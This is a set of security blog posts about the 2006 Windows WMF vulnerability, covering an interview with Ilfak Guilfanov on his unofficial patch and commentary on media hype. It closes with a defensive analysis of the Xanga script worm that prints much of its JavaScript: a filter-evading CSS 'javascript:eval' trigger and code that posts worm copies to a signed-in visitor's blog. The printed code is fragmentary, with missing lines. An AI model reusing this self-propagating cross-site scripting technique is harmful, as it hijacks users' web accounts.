so this is a design issue?

yes, it is a design issue.

when you heard of this vulnerability, you created a temporary patch to close the hole until microsoft updates its software. could you tell us more about what the patch does?

the patch just removes this powerful command. it does not do anything else. the fix modifies the memory image of the system on the fly. it does not alter any files on the disk.

it modifies [the image of] the system dll ‘gdi32.dll’ because the vulnerable code is there.

some people are concerned about installing a temporary fix that doesn’t come from microsoft, because of potential problems with that. is there an uninstaller available if people run into problems?

yes, sure. the fix comes with a full installer/uninstaller.

do you provide the source code of the fix so that people can verify that it works effectively?

yes, the fix comes with the source code.

when you wrote this, did you expect this patch to become so popular?

oh no, not at all. it was a big surprise for me.

should users who install your patch also apply microsoft’s fix when it is available?

yes, absolutely.

should they uninstall your fix before they do that?

my fix can be uninstalled before or after applying the official patch.

is there anything that you think should be done to make vulnerabilities like this less dangerous in the future?

good design and good coding practices, but that is easier said than done.

what options are there for users if, for some reason, they are not able to install your patch?

first, there is the option of unregistering shimgvw.dll
second, hardware-based dep [data execution prevention] seems to protect systems.

[for the most effective protection, dep should be enabled for all programs as outlined below. -- matt]

shouldn’t users have dep on already, if possible, as good practice?

yes, it is a good practice and should be enabled if possible.

thanks again for taking the time to discuss this. we appreciate it. it’s obvious from its popularity that the community appreciates your efforts in developing this patch.

i’d like to thank ilfak guilfanov, of course, for allowing myself and securiteam this interview. the popularity of his patch is proof of the quality of his work. thanks are also in order for his contribution of this valuable tool to the community. i’d also like to thank securiteam’s Sun Shine, who decided to do the interview and helped get the ball rolling on it for me.

more information on the topics covered in ilfak’s interview:

  • microsoft’s advisory, along with official workaround (unregistering shimgvw.dll): http://www.microsoft.com/technet/security/advisory/912840.mspx
  • ilfak’s temporary wmf hotfix homepage is back at www.hexblog.com. you will have to download from one of the better-connected mirrors, as poor ilfak has already had to move hosts once. i guess he’s a victim of his own popularity. :-(
  • datarescue is the home of the ida pro product that ilfak has helped develop. their site also contains a link to the wmf vulnerability information.
  • information on enabling hardware-enforced dep is available from microsoft (for windows xp sp2, though the process for windows server 2003 sp1 will be similar). dep should be configured to protect all programs for maximum protection. hardware-enforced dep does not protect applications (like windows picture & fax viewer) by default.

Inciting Fear for Fun and Profit

For the most part, I enjoy security research. The exception, however, seems to be in dealing with the relatively clueless of our field.

We’ve all met them. The foremost example: the users who’ve been trained that anti-virus is the only tool necessary for security. The ones that make you feel like you’re talking to a parakeet. “ANTI-VIRUS! ANTI-VIRUS! ANTI-VIRUS!”. When you inform them of a new vulnerability in a product they use, having yet to hear of patching, most will just run to update the AV and keep at it. They see nothing as a threat. These folks are dangerous. Thankfully, though, vendors are beginning to get the idea, and moving more toward making simple ignorance less of a threat to the internet-at-large. We still have a long way to go, though, so other issues certainly need to be dealt with in the interim.

Perhaps one reason why users react so sluggishly to things is because, no matter who you are, someone will tell you that every bug, virus, exploit, worm, etc., that is uncovered is a grave threat to your systems and will cause them to be taken over by invaders who will steal your credit card number, post your life story to the web, and turn your computer into an evil zombie that will destroy everything in its path at the push of a button. When I read so-called “information” from leading industry fear-mongers, I feel like I’m watching a crappy Sci-Fi movie.

Folks out there are predicting the end of the world. What now, you ask? Well, the Windows WMF bug, of course. Didn’t you know that the WMF bug is going to lead to the “mother-of-e-mail-worms” that will devastate e-mail and render it completely useless? What’s that, you say? A user still has to double-click an attachment, and most would do that anyway? Apparently, that doesn’t matter to some so-called industry “experts”. The worms are coming and they’re going to kill us all!!!

When you present evidence to dispute the claims of these types, they simply devise an old theory with no relevance to the world and go on with their claims. These types are almost as much of a threat to the security of the internet as the malware itself. Welcome to the world of the media slut. The sole purpose of this mind-boggling new species is apparently to expand its own following by desperately trying to convince the rest of the world that they are under constant, grave threat.

I’ll share with you now a few gems from those of media slut fame. You can decide which ones sound familiar (care to guess who they’re from? There’s a couple of familiar names…):

We could see the mother of all worms here. My big fear is we’re going to wake up in the next week or two and have people warning users not to read their e-mail because something is going around that’s extremely virulent.

We’re expecting a virus to appear at any moment, an email-borne virus, because, when you open the email, your viewer shows an image. That can install malware on your machine.

It [a worm] has the ability to propagate very quickly, and that it does not require any direct user interaction. I mean, there are many vectors that will get this thing into people’s machines… the good news is there’s something that anyone who knows about this… can do immediately. It’s possible to unregister Windows’ handling of the vulnerable DLL. What will happen is that, in Windows Explorer, the image thumbnails that Windows Explorer would normally show, they will stop functioning. But you want them to stop functioning…

The exploitation code has gone like wildfire across the Internet. So… do this immediately. … The word really needs to get out about this. …This is a big, bad problem.

And, now, we can even add this gem from Kelly Martin of SecurityFocus:

How simple this is to do on a web page or through email, here at the beginning of 2006, is just astonishing. While there have been many unpatched vulnerabilities for Windows over the years, some with effective exploits available, nothing quite reaches the magnitude of the situation we’re in today.

You heard them… unplug… power down, and… run for the hills!

We can always hope that, one of these days, the reality will dawn on these so-called researchers, media-driven as they are, that one vulnerability will not bring down the internet. Unfortunately, I can’t hold my breath on that one, and it’s about as likely as the “mother-of-email-worms” appearing. Nevermind the facts. Those don’t matter. The messiahs are on a mission to save us all from our computers.


The Lesson of WMF

[As a quick heads-up, I'd like to point out that Ilfak Guilfanov, Windows internals expert and one of the developers of IDA Pro, has released an unofficial patch (mirrored at iatechconsulting.com) for this issue.]

[UPDATE 01/05: Microsoft has released its update for the WMF vulnerability:


As a researcher, I’m almost always security-conscious. I keep my standard defense measures up-to-date, and I pay attention when new vulnerability reports appear. One of those new vulnerability reports surfaced at the end of December: the now-infamous Windows Metafile vulnerability.

Reading about the vulnerability, what concerned me most was the lack of realistic workarounds. Indeed, it wasn’t until I had delved deep into the specifics of Windows Metafiles, spent a few minutes writing out a regular expression filter, deployed filters to the endpoint IDS on my PCs, and tested them against as many variants of the WMF exploit as I could find or produce that I was confident in my defensive measures. And all of that had to be done… to avoid the catastrophes that lay in wait if I had so much as viewed the wrong image.

To call the frustration I felt a Windows problem, though, is a mistake. Indeed, the vulnerability was a Windows bug… this time around. I could blame Microsoft for its error. Indeed, I could take advantage of this opportunity to tear at the flesh of Microsoft’s developers for what was essentially an overlooked easter egg in a legacy graphics renderer. I won’t, though, because to do so would be overlooking the far-broader implications of this issue, and it would be a mistake.

Indeed, similar vulnerabilities have affected other applications, both on Windows and on other platforms. Graphics rendering is a complicated task by most standards, and software to do that task has had and will have serious bugs. Gone are the days when avoiding code execution meant not opening suspicious application files. The reality is that most any software is, to some degree, an attack vector. And more likely than not, if your software finds wide deployment, those vectors of attack will eventually be exploited.

However, it is obvious from attempting to deal with this week’s vulnerability that this reality was not what drove the development of quite a few popular software applications. Microsoft’s scramble (and ultimate failure) to find wholly-effective workarounds for the WMF issue is a symptom of a development methodology that stretches far beyond the city limits of Redmond, Washington.

Developers are still holding onto the old clutch of treating graphics, audio, and other “pure” multimedia content formats as “safe”. Since it is still widely held by developers that images are “safe” content, many are baffled by the idea that users would possibly want to disable functionality that is so integral to the experience of the web, and even to some operating systems as a whole.

There are a few exceptions. Mozilla Firefox, in particular, has the all-encompassing “Load Images” option. Outlook and co. now have “Remote Image Blocking” and other privacy features. However, these features (simple add-on changes in some cases) weren’t designed with security in mind at all. In spite of the fact that I was using an e-mail reader which blocked image loading, a recent mailing list post from Larry Seltzer, conveniently enough, rendered an image just fine in my mighty image-busting (non-Microsoft) mail reader.

Had that image been hostile, I would more than likely have been successfully exploited. Granted, I run as a limited user, and I have other mitigators, but the success of it was still disturbing. Needless to say, my mail client now renders its e-mail messages in plain text as opposed to the prior “simple HTML” mode.

Admins during the WMF incident are making similar choices. Risk leaving yourself open to an exploit or force your users back to the internet equivalent of the stone age. The simple workaround of disabling access to metafile images was not so simple. Were workarounds easier to implement in terms of functional breakage, the rate of adoption would be far better. Developers everywhere could learn something from that. The absence of such simple workarounds has admins turning to third-party patches (like the one provided by Windows expert Ilfak Guilfanov [binary mirror]) while Microsoft’s official investigation works to quash the hole.

More emphasis should be placed on allowing users to flip the switch on dangerous functionality (or “safe” functionality that turns out to be dangerous). Not only that, but applications should follow those settings to-the-letter, because doing so will greatly reduce the impact of unforeseen threats. Having the option to temporarily cripple flawed code in absence of a patch prevents users from choosing between the stone age and the repair shop. Most users will risk the latter before they choose the former. I, on the other hand, am waiting to put my tablets away until Microsoft issues its patch.

[UPDATED 1/3: I'd like to take the time to add three fantastic points of reference that have emerged as this issue has unfolded.]

  • The ISC Handler’s Diary (isc.sans.org) is full of details. It’s a very informative read if you’re looking to keep track of events related to the vulnerability (new exploits, sites to watch for, etc.)
  • Ilfak Guilfanov’s interim fix which has, thus far, proven exceptionally solid and effective in defusing this issue.
  • Last, might be a surprising reference for me to suggest, but I’m going to suggest it anyway. Microsoft has recently updated its advisory on the issue to include a very detailed summary of its current information and ongoing action regarding this incident. As well as demonstrating that the company understands the urgency of the situation, it makes for very interesting reading, and also details some simple, common-sense steps that average users can take. I, for one, am holding out hope that informative, insightful incident management like this will be a new trend for Microsoft. That would indeed be very positive for most everyone.

Xanga Hit By Script Worm

Following in the footsteps of fellow blog provider MySpace, Xanga.com appears to have been infected with some kind of worm that compromises the accounts of blog users and replaces content on the sites in order to replicate.

Infected sites can easily be recognized by the following text:

xangas admin owned you.

im a motha fuckin balleR, DG4L.
greets to phrea,camzero,majestic,dgs
“got steve case up on the phone, bitch this camo youve been owned.”
free cam0.

More information as I have it.

[UPDATE: As of 0714 UTC on 31 December, Xanga was apparently shut down in a bid to contain the infection. The shutdown lasted a few minutes, but I have confirmed that the worm is being removed from infected sites, and has been rendered inert by recent changes made on xanga.com. My analysis of the worm follows.]

Technical Overview

The worm consists of a simple HTML/script combination, and is highly primitive in nature. The worm propagates by using the XMLHTTP interface in some browsers to create worm-infected posts on the xanga weblogs of users who visit an infected site while signed in. This approach blurs the line between worm and old-style file infecting viruses. I’ll refer to it as a worm for clarity, since most of the literature on the recent MySpace attack uses the same term. Of particular note is that the worm is ‘dumb’ — it will repeatedly repost itself to previously-infected sites. The attack is extremely noisy, with each post carrying the malware’s obnoxious message.

Aside from the fact that such immature and badly-written messages as the one dropped by the worm would already stand out on most xanga blogs (that I care to read, anyway), the incessant reposting as the worm spread more than likely caused serious clogging. As a result, this worm’s life was extremely short. It is already over as you’re reading this analysis.

It appears upon further research that this worm was a variant of the similar Exodus worm that went quietly and unnoticed on December 19th. It was only in researching this outbreak that I saw the reports of Exodus. It appears that neither worm was written by a very skilled individual, as both strains are easily uprooted, browser-specific, badly-structured, trivially-decoded, and unnecessarily bloated. The worm is technically unimpressive (particularly vis-a-vis Exodus) and is a feat on par with the scores of VBSWG tweaks and edits following the infamous “Kournikova” worm outbreak of 2001.


Xanga.com have taken steps to render existing worm code inert (namely to prevent copycat code from spreading), so users can clean up the worm infection by simply entering their sites in Safe Mode and removing the worm’s infected posts.

Detailed Analysis / Code

The first section of the code can easily be identified as the portion responsible for producing the obscene message:

<h4 class="itemTitle">xangas admin owned you.</h4>im a motha fuckin balleR, DG4L.<br>greets to phrea,camzero,majestic,dgs<br>"got steve case up on the phone, bitch this camo youve been owned."<br>free cam0.

The active portion of the worm is contained entirely in a DIV tag. It has three attributes (ID, STYLE, and CODE):

<DIV id=wormy style="BACKGROUND: url(java
al(document.all.wormy.code))" code="[virus body]"></DIV>

The ‘background’ CSS property is used to refer to a background image for an element. The worm appears to use white space to evade the trivial ‘ ‘ URL filter in place on xanga.com. The background image URL is resolved by the browser to:


This small section of code triggers the worm’s execution. Alert readers will notice that this construct is a product of non-standard functionality in Internet Explorer. It fails to run in Firefox, as I suspect it does in many other alternative browsers.

I received the worm in an inert format that had been apparently disinfected by run-time filtering on xanga.com’s web site that was added after the infection began. I’ve slightly altered the code to make it more readable and to reverse the effects of the filtering.

The worm has a global portion of its code, as well as seven sub-routines. The global portion simply builds the defacement message above before handing off control to main, the worm’s dispatch procedure.

var chr = find(document.body.innerHTML,'style=','HEIGHT');
var J;
var con='im a motha fuckin balleR, DG4L.<br>greets to phrea,camzero,majestic,dgs<br>'+chr+'got steve case up on the phone, bitch this camo youve been owned.'+chr+'<br>free cam0.';
var code;

The code in main reconstructs the worm’s source code using DHTML properties (using its find subprocedure to perform a simple text pattern search) and then calls the httpSend procedure. It delivers three arguments to httpSend:
[1] = STRING '/private/xtools/xtoolspremium.aspx'
[2] = REFERENCE to 'postwormy'
[3] = STRING 'GET'

function main(){
code='<D'+'IV id=wormy style='+chr+'BACKGROUND: url(java\nscript:ev\nal(document.all.wo'+'rmy.code'+find(document.body.innerHTML,'wo'+'rmy.code','<NO'+'SCR'+'IPT>')+'<NO'+'SCR'+'IPT>'

function find(BF,BB,BC){
var R=BF.indexOf(BB)+BB.length;
var S=BF.indexOf(BC,R+1);
return BF.substring(R,S)

The httpSend procedure accepts four arguments. This results in the fourth argument being undefined. The httpSend routine sets a callback procedure and then transmits the request:

function httpSend(BH,BI,BJ,BK){
return false
return true

The postwormy routine is called when the HTTP transaction is complete. Once this has taken place, the worm has retreived a copy of /private/xtoolspremium.aspx, which is the posting form for writing and editing blog entries on Xanga.com. This callback function does the “dirty work” of the worm’s propagation, crafting a POST request to create a new blog entry. Some parts of the request are taken from the page it just retreived:

function postwormy(){
var AU=J.responseText;
var AS=new Array();
AS['__VIEWSTATE']=find(AU,'name='+chr+'__VIEWSTATE'+chr+' value='+chr,chr);
AS['txtTitle']='xangas admin owned you.';
AS['txtUserId']=find(AU,'name='+chr+'txtUserId'+chr+' type='+chr+'text'+chr+' value='+chr,chr);

The getXMLObj routine is a helper in both cases. It tries various methods of obtaining XMLHTTP objects that are associated with different browsers, in an attempt to avoid creating a browser dependency. The object it returns is then used to conduct the worm’s HTTP session:

function getXMLObj(){
var Z=false;
Z=new XMLHttpRequest()
} else if(window.ActiveXObject){
Z=new ActiveXObject('Msxml2.XMLHTTP')
Z=new ActiveXObject('Microsoft.XMLHTTP')
return Z

The stop function called as a callback during the POST request is a mere stub. It has no real purpose.

function stop(){

The paramsToString function is used during the generation of the request body for the worm’s POST request. It functions as a very simplistic URL encoder. The author elected not to use regular expressions for the replacement, and as a result, the loop in this routine is far more intensive than necessary:

function paramsToString(AV){
var N=new String();
var O=0;
for(var P in AV){
var Q=escape(AV[P]);
return N

The worm is quite simple, and even more simple to block: simple text-based matching and filtering on keywords in the worm code appears to have been used to thwart the worm. Indeed, this worm is not much of a “big picture” concern, but it could very well reflect where malware will go in the future. As technology becomes increasingly web-dependent, expect malware to adapt and to begin targeting web application platforms. We’ve seen it with worms like Santy, and we’ll see more of it in the days to come.